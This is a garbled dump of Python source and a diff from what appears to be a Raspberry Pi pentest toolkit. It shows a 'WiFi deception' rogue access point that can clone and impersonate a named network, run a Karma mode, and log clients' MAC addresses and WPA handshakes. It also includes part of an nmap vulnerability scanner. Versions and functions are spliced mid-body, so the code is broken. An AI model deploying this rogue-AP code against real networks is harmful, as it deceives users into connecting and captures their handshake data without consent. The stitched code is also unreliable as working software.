'driver=nl80211',
|
||||
f'ssid={ssid}',
|
||||
'hw_mode=g',
|
||||
f'channel={channel}',
|
||||
'macaddr_acl=0',
|
||||
'ignore_broadcast_ssid=0'
|
||||
]
|
||||
if password:
|
||||
h_conf.extend([
|
||||
'auth_algs=1',
|
||||
'wpa=2',
|
||||
f'wpa_passphrase={password}',
|
||||
'wpa_key_mgmt=WPA-PSK',
|
||||
'wpa_pairwise=CCMP',
|
||||
'rsn_pairwise=CCMP'
|
||||
])
|
||||
|
||||
h_path = '/tmp/bjorn_hostapd.conf'
|
||||
with open(h_path, 'w') as f:
|
||||
f.write('\n'.join(h_conf))
|
||||
|
||||
def create_ap_config(self):
|
||||
"""Create configuration for hostapd."""
|
||||
try:
|
||||
config = [
|
||||
'interface=' + self.interface,
|
||||
'driver=nl80211',
|
||||
'ssid=' + self.ssid,
|
||||
'hw_mode=g',
|
||||
'channel=' + str(self.channel),
|
||||
'macaddr_acl=0',
|
||||
'ignore_broadcast_ssid=0'
|
||||
]
|
||||
|
||||
if self.password:
|
||||
config.extend([
|
||||
'auth_algs=1',
|
||||
'wpa=2',
|
||||
'wpa_passphrase=' + self.password,
|
||||
'wpa_key_mgmt=WPA-PSK',
|
||||
'wpa_pairwise=CCMP',
|
||||
'rsn_pairwise=CCMP'
|
||||
])
|
||||
|
||||
config_path = '/tmp/hostapd.conf'
|
||||
with open(config_path, 'w') as f:
|
||||
f.write('\n'.join(config))
|
||||
|
||||
return config_path
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to create AP config: {e}")
|
||||
return None
|
||||
# dnsmasq.conf
|
||||
d_conf = [
|
||||
f'interface={iface}',
|
||||
'dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h',
|
||||
'dhcp-option=3,192.168.1.1',
|
||||
'dhcp-option=6,192.168.1.1',
|
||||
'server=8.8.8.8',
|
||||
'log-queries',
|
||||
'log-dhcp'
|
||||
]
|
||||
d_path = '/tmp/bjorn_dnsmasq.conf'
|
||||
with open(d_path, 'w') as f:
|
||||
f.write('\n'.join(d_conf))
|
||||
|
||||
return h_path, d_path
|
||||
|
||||
def setup_dhcp(self):
|
||||
"""Configure DHCP server using dnsmasq."""
|
||||
try:
|
||||
config = [
|
||||
'interface=' + self.interface,
|
||||
'dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h',
|
||||
'dhcp-option=3,192.168.1.1',
|
||||
'dhcp-option=6,192.168.1.1',
|
||||
'server=8.8.8.8',
|
||||
'log-queries',
|
||||
'log-dhcp'
|
||||
]
|
||||
|
||||
config_path = '/tmp/dnsmasq.conf'
|
||||
with open(config_path, 'w') as f:
|
||||
f.write('\n'.join(config))
|
||||
|
||||
# Configure interface IP
|
||||
subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
return config_path
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to setup DHCP: {e}")
|
||||
return None
|
||||
|
||||
def start_ap(self):
|
||||
"""Start the fake access point."""
|
||||
try:
|
||||
if not self.setup_interface():
|
||||
return False
|
||||
|
||||
hostapd_config = self.create_ap_config()
|
||||
dhcp_config = self.setup_dhcp()
|
||||
|
||||
if not hostapd_config or not dhcp_config:
|
||||
return False
|
||||
|
||||
# Start hostapd
|
||||
self.hostapd_process = subprocess.Popen(
|
||||
['sudo', 'hostapd', hostapd_config],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
# Start dnsmasq
|
||||
self.dnsmasq_process = subprocess.Popen(
|
||||
['sudo', 'dnsmasq', '-C', dhcp_config],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
self.active = True
|
||||
logging.info(f"Access point {self.ssid} started on channel {self.channel}")
|
||||
|
||||
# Start packet capture
|
||||
self.start_capture()
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to start AP: {e}")
|
||||
return False
|
||||
|
||||
def start_capture(self):
|
||||
"""Start capturing wireless traffic."""
|
||||
try:
|
||||
# Start tcpdump for capturing handshakes
|
||||
handshake_path = os.path.join(self.output_dir, 'handshakes')
|
||||
os.makedirs(handshake_path, exist_ok=True)
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
pcap_file = os.path.join(handshake_path, f"capture_{timestamp}.pcap")
|
||||
|
||||
self.tcpdump_process = subprocess.Popen(
|
||||
['sudo', 'tcpdump', '-i', self.interface, '-w', pcap_file],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
# Start sniffing in a separate thread
|
||||
self.sniffer_thread = threading.Thread(target=self.packet_sniffer)
|
||||
self.sniffer_thread.start()
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to start capture: {e}")
|
||||
|
||||
def packet_sniffer(self):
|
||||
"""Sniff and process packets."""
|
||||
try:
|
||||
scapy.sniff(iface=self.interface, prn=self.process_packet, store=0,
|
||||
stop_filter=lambda p: not self.active)
|
||||
except Exception as e:
|
||||
logging.error(f"Sniffer error: {e}")
|
||||
|
||||
def process_packet(self, packet):
|
||||
"""Process captured packets."""
|
||||
try:
|
||||
if packet.haslayer(Dot11):
|
||||
# Process authentication attempts
|
||||
if packet.type == 0 and packet.subtype == 11: # Authentication
|
||||
self.process_auth(packet)
|
||||
|
||||
# Process association requests
|
||||
elif packet.type == 0 and packet.subtype == 0: # Association request
|
||||
self.process_assoc(packet)
|
||||
|
||||
# Process EAPOL packets for handshakes
|
||||
elif packet.haslayer(EAPOL):
|
||||
self.process_handshake(packet)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing packet: {e}")
|
||||
|
||||
def process_auth(self, packet):
|
||||
"""Process authentication packets."""
|
||||
try:
|
||||
if packet.addr2: # Source MAC
|
||||
with self.lock:
|
||||
self.captured_credentials.append({
|
||||
'type': 'auth',
|
||||
'mac': packet.addr2,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing auth packet: {e}")
|
||||
|
||||
def process_assoc(self, packet):
|
||||
"""Process association packets."""
|
||||
try:
|
||||
if packet.addr2: # Source MAC
|
||||
with self.lock:
|
||||
self.captured_credentials.append({
|
||||
'type': 'assoc',
|
||||
'mac': packet.addr2,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing assoc packet: {e}")
|
||||
|
||||
def process_handshake(self, packet):
|
||||
"""Process EAPOL packets for handshakes."""
|
||||
try:
|
||||
if packet.addr2: # Source MAC
|
||||
with self.lock:
|
||||
self.captured_handshakes.append({
|
||||
'mac': packet.addr2,
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing handshake packet: {e}")
|
||||
|
||||
def save_results(self):
|
||||
"""Save captured data to JSON files."""
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
results = {
|
||||
'ap_info': {
|
||||
'ssid': self.ssid,
|
||||
'channel': self.channel,
|
||||
'interface': self.interface
|
||||
},
|
||||
'credentials': self.captured_credentials,
|
||||
'handshakes': self.captured_handshakes
|
||||
}
|
||||
|
||||
output_file = os.path.join(self.output_dir, f"results_{timestamp}.json")
|
||||
with open(output_file, 'w') as f:
|
||||
json.dump(results, f, indent=4)
|
||||
|
||||
logging.info(f"Results saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
|
||||
def cleanup(self):
|
||||
"""Clean up resources and restore interface."""
|
||||
try:
|
||||
self.active = False
|
||||
|
||||
# Stop processes
|
||||
for process in [self.hostapd_process, self.dnsmasq_process, self.tcpdump_process]:
|
||||
if process:
|
||||
process.terminate()
|
||||
process.wait()
|
||||
|
||||
# Restore interface
|
||||
if self.original_mac:
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'iw', self.interface, 'set', 'type', 'managed'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# Restart NetworkManager
|
||||
subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
logging.info("Cleanup completed")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error during cleanup: {e}")
|
||||
|
||||
def save_settings(interface, ssid, channel, password, output_dir):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"interface": interface,
|
||||
"ssid": ssid,
|
||||
"channel": channel,
|
||||
"password": password,
|
||||
"output_dir": output_dir
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="WiFi deception tool")
|
||||
parser.add_argument("-i", "--interface", default="wlan0", help="Wireless interface")
|
||||
parser.add_argument("-s", "--ssid", help="SSID for fake AP")
|
||||
parser.add_argument("-c", "--channel", type=int, default=6, help="WiFi channel")
|
||||
parser.add_argument("-p", "--password", help="WPA2 password")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
|
||||
# Honeypot options
|
||||
parser.add_argument("--captive-portal", action="store_true", help="Enable captive portal")
|
||||
parser.add_argument("--clone-ap", help="SSID to clone and impersonate")
|
||||
parser.add_argument("--karma", action="store_true", help="Enable Karma attack mode")
|
||||
|
||||
# Advanced options
|
||||
parser.add_argument("--beacon-interval", type=int, default=100, help="Beacon interval in ms")
|
||||
parser.add_argument("--max-clients", type=int, default=10, help="Maximum number of clients")
|
||||
parser.add_argument("--timeout", type=int, help="Runtime duration in seconds")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
interface = args.interface or settings.get("interface")
|
||||
ssid = args.ssid or settings.get("ssid")
|
||||
channel = args.channel or settings.get("channel")
|
||||
password = args.password or settings.get("password")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
|
||||
# Load advanced settings
|
||||
captive_portal = args.captive_portal or settings.get("captive_portal", False)
|
||||
clone_ap = args.clone_ap or settings.get("clone_ap")
|
||||
karma = args.karma or settings.get("karma", False)
|
||||
beacon_interval = args.beacon_interval or settings.get("beacon_interval", 100)
|
||||
max_clients = args.max_clients or settings.get("max_clients", 10)
|
||||
timeout = args.timeout or settings.get("timeout")
|
||||
|
||||
if not interface:
|
||||
logging.error("Interface is required. Use -i or save it in settings")
|
||||
return
|
||||
|
||||
# Clone AP if requested
|
||||
if clone_ap:
|
||||
logging.info(f"Attempting to clone AP: {clone_ap}")
|
||||
clone_info = scan_for_ap(interface, clone_ap)
|
||||
if clone_info:
|
||||
ssid = clone_info['ssid']
|
||||
channel = clone_info['channel']
|
||||
logging.info(f"Successfully cloned AP settings: {ssid} on channel {channel}")
|
||||
else:
|
||||
logging.error(f"Failed to find AP to clone: {clone_ap}")
|
||||
def _packet_callback(self, packet):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
|
||||
# Save all settings
|
||||
save_settings(
|
||||
interface=interface,
|
||||
ssid=ssid,
|
||||
channel=channel,
|
||||
password=password,
|
||||
output_dir=output_dir,
|
||||
captive_portal=captive_portal,
|
||||
clone_ap=clone_ap,
|
||||
karma=karma,
|
||||
beacon_interval=beacon_interval,
|
||||
max_clients=max_clients,
|
||||
timeout=timeout
|
||||
)
|
||||
|
||||
# Create and configure deceiver
|
||||
deceiver = LokiDeceiver(
|
||||
interface=interface,
|
||||
ssid=ssid,
|
||||
channel=channel,
|
||||
password=password,
|
||||
output_dir=output_dir,
|
||||
captive_portal=captive_portal,
|
||||
karma=karma,
|
||||
beacon_interval=beacon_interval,
|
||||
max_clients=max_clients
|
||||
)
|
||||
|
||||
try:
|
||||
# Start the deception
|
||||
if deceiver.start():
|
||||
logging.info(f"Access point {ssid} started on channel {channel}")
|
||||
if packet.haslayer(Dot11):
|
||||
addr2 = packet.addr2 # Source MAC
|
||||
if addr2 and addr2 not in self.active_clients:
|
||||
# Association request or Auth
|
||||
if packet.type == 0 and packet.subtype in [0, 11]:
|
||||
with self.lock:
|
||||
self.active_clients.add(addr2)
|
||||
logger.success(f"LokiDeceiver: New client detected: {addr2}")
|
||||
self.shared_data.log_milestone(b_class, "ClientConnected", f"MAC: {addr2}")
|
||||
|
||||
if timeout:
|
||||
logging.info(f"Running for {timeout} seconds")
|
||||
time.sleep(timeout)
|
||||
deceiver.stop()
|
||||
else:
|
||||
logging.info("Press Ctrl+C to stop")
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
logging.info("Stopping Loki Deceiver...")
|
||||
except Exception as e:
|
||||
logging.error(f"Unexpected error: {e}")
|
||||
finally:
|
||||
deceiver.stop()
|
||||
logging.info("Cleanup completed")
|
||||
if EAPOL and packet.haslayer(EAPOL):
|
||||
logger.success(f"LokiDeceiver: EAPOL packet captured from {addr2}")
|
||||
self.shared_data.log_milestone(b_class, "Handshake", f"EAPOL from {addr2}")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
iface = getattr(self.shared_data, "loki_deceiver_interface", "wlan0")
|
||||
ssid = getattr(self.shared_data, "loki_deceiver_ssid", "Bjorn_AP")
|
||||
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
|
||||
password = getattr(self.shared_data, "loki_deceiver_password", "")
|
||||
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
|
||||
output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi")
|
||||
|
||||
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
|
||||
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
|
||||
|
||||
try:
|
||||
self.stop_event.clear()
|
||||
# self._setup_monitor_mode(iface) # Optional depending on driver
|
||||
h_path, d_path = self._create_configs(iface, ssid, channel, password)
|
||||
|
||||
# Set IP for interface
|
||||
subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True)
|
||||
|
||||
# Start processes
|
||||
# Use DEVNULL to avoid blocking on unread PIPE buffers.
|
||||
self.hostapd_proc = subprocess.Popen(
|
||||
['sudo', 'hostapd', h_path],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
self.dnsmasq_proc = subprocess.Popen(
|
||||
['sudo', 'dnsmasq', '-C', d_path, '-k'],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
|
||||
# Start sniffer (must be stoppable to avoid leaking daemon threads).
|
||||
if HAS_SCAPY and scapy and AsyncSniffer:
|
||||
try:
|
||||
self._sniffer = AsyncSniffer(iface=iface, prn=self._packet_callback, store=False)
|
||||
self._sniffer.start()
|
||||
except Exception as sn_e:
|
||||
logger.warning(f"LokiDeceiver: sniffer start failed: {sn_e}")
|
||||
self._sniffer = None
|
||||
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
# Check if procs still alive
|
||||
if self.hostapd_proc.poll() is not None:
|
||||
logger.error("LokiDeceiver: hostapd crashed.")
|
||||
break
|
||||
|
||||
# Progress report
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
|
||||
if elapsed % 60 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
|
||||
|
||||
time.sleep(2)
|
||||
|
||||
logger.info("LokiDeceiver: Stopping AP.")
|
||||
self.shared_data.log_milestone(b_class, "Shutdown", "Stopping Rogue AP")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"LokiDeceiver error: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.stop_event.set()
|
||||
if self._sniffer is not None:
|
||||
try:
|
||||
self._sniffer.stop()
|
||||
except Exception:
|
||||
pass
|
||||
self._sniffer = None
|
||||
|
||||
# Cleanup
|
||||
for p in [self.hostapd_proc, self.dnsmasq_proc]:
|
||||
if p:
|
||||
try: p.terminate(); p.wait(timeout=5)
|
||||
except: pass
|
||||
|
||||
# Restore NetworkManager if needed (custom logic based on usage)
|
||||
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
|
||||
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Set process niceness to high priority
|
||||
try:
|
||||
os.nice(-10)
|
||||
except:
|
||||
logging.warning("Failed to set process priority. Running with default priority.")
|
||||
|
||||
# Start main function
|
||||
main()
|
||||
from init_shared import shared_data
|
||||
loki = LokiDeceiver(shared_data)
|
||||
loki.execute("0.0.0.0", None, {}, "loki_deceiver")
|
||||
|
||||
@@ -2,13 +2,16 @@
|
||||
Vulnerability Scanner Action
|
||||
Scanne ultra-rapidement CPE (+ CVE via vulners si dispo),
|
||||
avec fallback "lourd" optionnel.
|
||||
Affiche une progression en % dans Bjorn.
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
import nmap
|
||||
import json
|
||||
import logging
|
||||
from typing import Dict, List, Set, Any, Optional
|
||||
from datetime import datetime, timedelta
|
||||
from typing import Dict, List, Any
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
@@ -22,41 +25,47 @@ b_port = None
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_service = []
|
||||
b_trigger = "on_port_change"
|
||||
b_trigger = "on_port_change"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 11
|
||||
b_cooldown = 0
|
||||
b_cooldown = 0
|
||||
b_enabled = 1
|
||||
b_rate_limit = None
|
||||
|
||||
# Regex compilé une seule fois (gain CPU sur Pi Zero)
|
||||
CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE)
|
||||
|
||||
|
||||
class NmapVulnScanner:
|
||||
"""Scanner de vulnérabilités via nmap (mode rapide CPE/CVE)."""
|
||||
|
||||
"""Scanner de vulnérabilités via nmap (mode rapide CPE/CVE) avec progression."""
|
||||
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.nm = nmap.PortScanner()
|
||||
# Pas de self.nm partagé : on instancie dans chaque méthode de scan
|
||||
# pour éviter les corruptions d'état entre batches.
|
||||
logger.info("NmapVulnScanner initialized")
|
||||
|
||||
# ---------------------------- Public API ---------------------------- #
|
||||
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
try:
|
||||
logger.info(f"🔍 Starting vulnerability scan for {ip}")
|
||||
logger.info(f"Starting vulnerability scan for {ip}")
|
||||
self.shared_data.bjorn_orch_status = "NmapVulnScanner"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
# 1) metadata depuis la queue
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return 'failed'
|
||||
|
||||
# 1) Metadata
|
||||
meta = {}
|
||||
try:
|
||||
meta = json.loads(row.get('metadata') or '{}')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2) récupérer MAC et TOUS les ports de l'hôte
|
||||
# 2) Récupérer MAC et TOUS les ports
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
||||
|
||||
# ✅ FORCER la récupération de TOUS les ports depuis la DB
|
||||
|
||||
ports_str = ""
|
||||
if mac:
|
||||
r = self.shared_data.db.query(
|
||||
@@ -64,8 +73,7 @@ class NmapVulnScanner:
|
||||
)
|
||||
if r and r[0].get('ports'):
|
||||
ports_str = r[0]['ports']
|
||||
|
||||
# Fallback sur les métadonnées si besoin
|
||||
|
||||
if not ports_str:
|
||||
ports_str = (
|
||||
row.get("Ports") or row.get("ports") or
|
||||
@@ -73,143 +81,240 @@ class NmapVulnScanner:
|
||||
)
|
||||
|
||||
if not ports_str:
|
||||
logger.warning(f"⚠️ No ports to scan for {ip}")
|
||||
logger.warning(f"No ports to scan for {ip}")
|
||||
self.shared_data.bjorn_progress = ""
|
||||
return 'failed'
|
||||
|
||||
ports = [p.strip() for p in ports_str.split(';') if p.strip()]
|
||||
logger.debug(f"📋 Found {len(ports)} ports for {ip}: {ports[:5]}...")
|
||||
|
||||
# ✅ FIX : Ne filtrer QUE si config activée ET déjà scanné
|
||||
# Nettoyage des ports (garder juste le numéro si format 80/tcp)
|
||||
ports = [p.split('/')[0] for p in ports]
|
||||
|
||||
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))}
|
||||
logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...")
|
||||
|
||||
# 3) Filtrage "Rescan Only"
|
||||
if self.shared_data.config.get('vuln_rescan_on_change_only', False):
|
||||
if self._has_been_scanned(mac):
|
||||
original_count = len(ports)
|
||||
ports = self._filter_ports_already_scanned(mac, ports)
|
||||
logger.debug(f"🔄 Filtered {original_count - len(ports)} already-scanned ports")
|
||||
|
||||
logger.debug(f"Filtered {original_count - len(ports)} already-scanned ports")
|
||||
|
||||
if not ports:
|
||||
logger.info(f"✅ No new/changed ports to scan for {ip}")
|
||||
logger.info(f"No new/changed ports to scan for {ip}")
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
return 'success'
|
||||
|
||||
# Scanner (mode rapide par défaut)
|
||||
logger.info(f"🚀 Starting nmap scan on {len(ports)} ports for {ip}")
|
||||
|
||||
# 4) SCAN AVEC PROGRESSION
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return 'failed'
|
||||
|
||||
logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}")
|
||||
findings = self.scan_vulnerabilities(ip, ports)
|
||||
|
||||
# Persistance (split CVE/CPE)
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Scan interrupted by user")
|
||||
return 'failed'
|
||||
|
||||
# 5) Déduplication en mémoire avant persistance
|
||||
findings = self._deduplicate_findings(findings)
|
||||
|
||||
# 6) Persistance
|
||||
self.save_vulnerabilities(mac, ip, findings)
|
||||
logger.success(f"✅ Vuln scan done on {ip}: {len(findings)} entries")
|
||||
|
||||
# Finalisation UI
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))}
|
||||
logger.success(f"Vuln scan done on {ip}: {len(findings)} entries")
|
||||
return 'success'
|
||||
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"❌ NmapVulnScanner failed for {ip}: {e}")
|
||||
logger.error(f"NmapVulnScanner failed for {ip}: {e}")
|
||||
self.shared_data.bjorn_progress = "Error"
|
||||
return 'failed'
|
||||
|
||||
def _has_been_scanned(self, mac: str) -> bool:
|
||||
"""Vérifie si l'hôte a déjà été scanné au moins une fois."""
|
||||
rows = self.shared_data.db.query("""
|
||||
SELECT 1 FROM action_queue
|
||||
WHERE mac_address=? AND action_name='NmapVulnScanner'
|
||||
WHERE mac_address=? AND action_name='NmapVulnScanner'
|
||||
AND status IN ('success', 'failed')
|
||||
LIMIT 1
|
||||
""", (mac,))
|
||||
return bool(rows)
|
||||
|
||||
def _filter_ports_already_scanned(self, mac: str, ports: List[str]) -> List[str]:
|
||||
"""
|
||||
Retourne la liste des ports à scanner en excluant ceux déjà scannés récemment.
|
||||
"""
|
||||
if not ports:
|
||||
return []
|
||||
|
||||
# Ports déjà couverts par detected_software (is_active=1)
|
||||
rows = self.shared_data.db.query("""
|
||||
SELECT port, last_seen
|
||||
FROM detected_software
|
||||
WHERE mac_address=? AND is_active=1 AND port IS NOT NULL
|
||||
""", (mac,))
|
||||
|
||||
seen = {}
|
||||
for r in rows:
|
||||
try:
|
||||
p = str(r['port'])
|
||||
ls = r.get('last_seen')
|
||||
seen[p] = ls
|
||||
seen[str(r['port'])] = r.get('last_seen')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0)
|
||||
if ttl > 0:
|
||||
cutoff = datetime.utcnow() - timedelta(seconds=ttl)
|
||||
def fresh(port: str) -> bool:
|
||||
ls = seen.get(port)
|
||||
if not ls:
|
||||
return False
|
||||
try:
|
||||
dt = datetime.fromisoformat(ls.replace('Z',''))
|
||||
return dt >= cutoff
|
||||
except Exception:
|
||||
return True
|
||||
return [p for p in ports if (p not in seen) or (not fresh(p))]
|
||||
final_ports = []
|
||||
for p in ports:
|
||||
if p not in seen:
|
||||
final_ports.append(p)
|
||||
else:
|
||||
try:
|
||||
dt = datetime.fromisoformat(seen[p].replace('Z', ''))
|
||||
if dt < cutoff:
|
||||
final_ports.append(p)
|
||||
except Exception:
|
||||
pass
|
||||
return final_ports
|
||||
else:
|
||||
# Sans TTL: si déjà scanné/présent actif => on skip
|
||||
return [p for p in ports if p not in seen]
|
||||
|
||||
# ---------------------------- Scanning ------------------------------ #
|
||||
# ---------------------------- Helpers -------------------------------- #
|
||||
|
||||
def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]:
|
||||
"""Supprime les doublons (même port + vuln_id) pour éviter des inserts inutiles."""
|
||||
seen: set = set()
|
||||
deduped = []
|
||||
for f in findings:
|
||||
key = (str(f.get('port', '')), str(f.get('vuln_id', '')))
|
||||
if key not in seen:
|
||||
seen.add(key)
|
||||
deduped.append(f)
|
||||
return deduped
|
||||
|
||||
def _extract_cpe_values(self, port_info: Dict[str, Any]) -> List[str]:
|
||||
cpe = port_info.get('cpe')
|
||||
if not cpe:
|
||||
return []
|
||||
if isinstance(cpe, str):
|
||||
return [x.strip() for x in cpe.splitlines() if x.strip()]
|
||||
if isinstance(cpe, (list, tuple, set)):
|
||||
return [str(x).strip() for x in cpe if str(x).strip()]
|
||||
return [str(cpe).strip()]
|
||||
|
||||
def extract_cves(self, text: str) -> List[str]:
|
||||
"""Extrait les CVE via regex pré-compilé (pas de recompilation à chaque appel)."""
|
||||
if not text:
|
||||
return []
|
||||
return CVE_RE.findall(str(text))
|
||||
|
||||
# ---------------------------- Scanning (Batch Mode) ------------------------------ #
|
||||
|
||||
def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]:
|
||||
"""Mode rapide CPE/CVE ou fallback lourd."""
|
||||
fast = bool(self.shared_data.config.get('vuln_fast', True))
|
||||
"""
|
||||
Orchestre le scan en lots (batches) pour permettre la mise à jour
|
||||
de la barre de progression.
|
||||
"""
|
||||
all_findings = []
|
||||
|
||||
fast = bool(self.shared_data.config.get('vuln_fast', True))
|
||||
use_vulners = bool(self.shared_data.config.get('nse_vulners', False))
|
||||
max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20))
|
||||
max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20))
|
||||
|
||||
p_list = [str(p).split('/')[0] for p in ports if str(p).strip()]
|
||||
port_list = ','.join(p_list[:max_ports]) if p_list else ''
|
||||
# Pause entre batches – important sur Pi Zero pour laisser respirer le CPU
|
||||
batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5))
|
||||
|
||||
if not port_list:
|
||||
logger.warning("No valid ports for scan")
|
||||
# Taille de lot réduite par défaut (2 sur Pi Zero, configurable)
|
||||
batch_size = int(self.shared_data.config.get('vuln_batch_size', 2))
|
||||
|
||||
target_ports = ports[:max_ports]
|
||||
total = len(target_ports)
|
||||
if total == 0:
|
||||
return []
|
||||
|
||||
if fast:
|
||||
return self._scan_fast_cpe_cve(ip, port_list, use_vulners)
|
||||
else:
|
||||
return self._scan_heavy(ip, port_list)
|
||||
batches = [target_ports[i:i + batch_size] for i in range(0, total, batch_size)]
|
||||
|
||||
processed_count = 0
|
||||
|
||||
for batch in batches:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
port_str = ','.join(batch)
|
||||
|
||||
# Mise à jour UI avant le scan du lot
|
||||
pct = int((processed_count / total) * 100)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"progress": f"{processed_count}/{total} ports",
|
||||
"current_batch": port_str
|
||||
}
|
||||
|
||||
t0 = time.time()
|
||||
|
||||
# Scan du lot (instanciation locale pour éviter la corruption d'état)
|
||||
if fast:
|
||||
batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners)
|
||||
else:
|
||||
batch_findings = self._scan_heavy(ip, port_str)
|
||||
|
||||
elapsed = time.time() - t0
|
||||
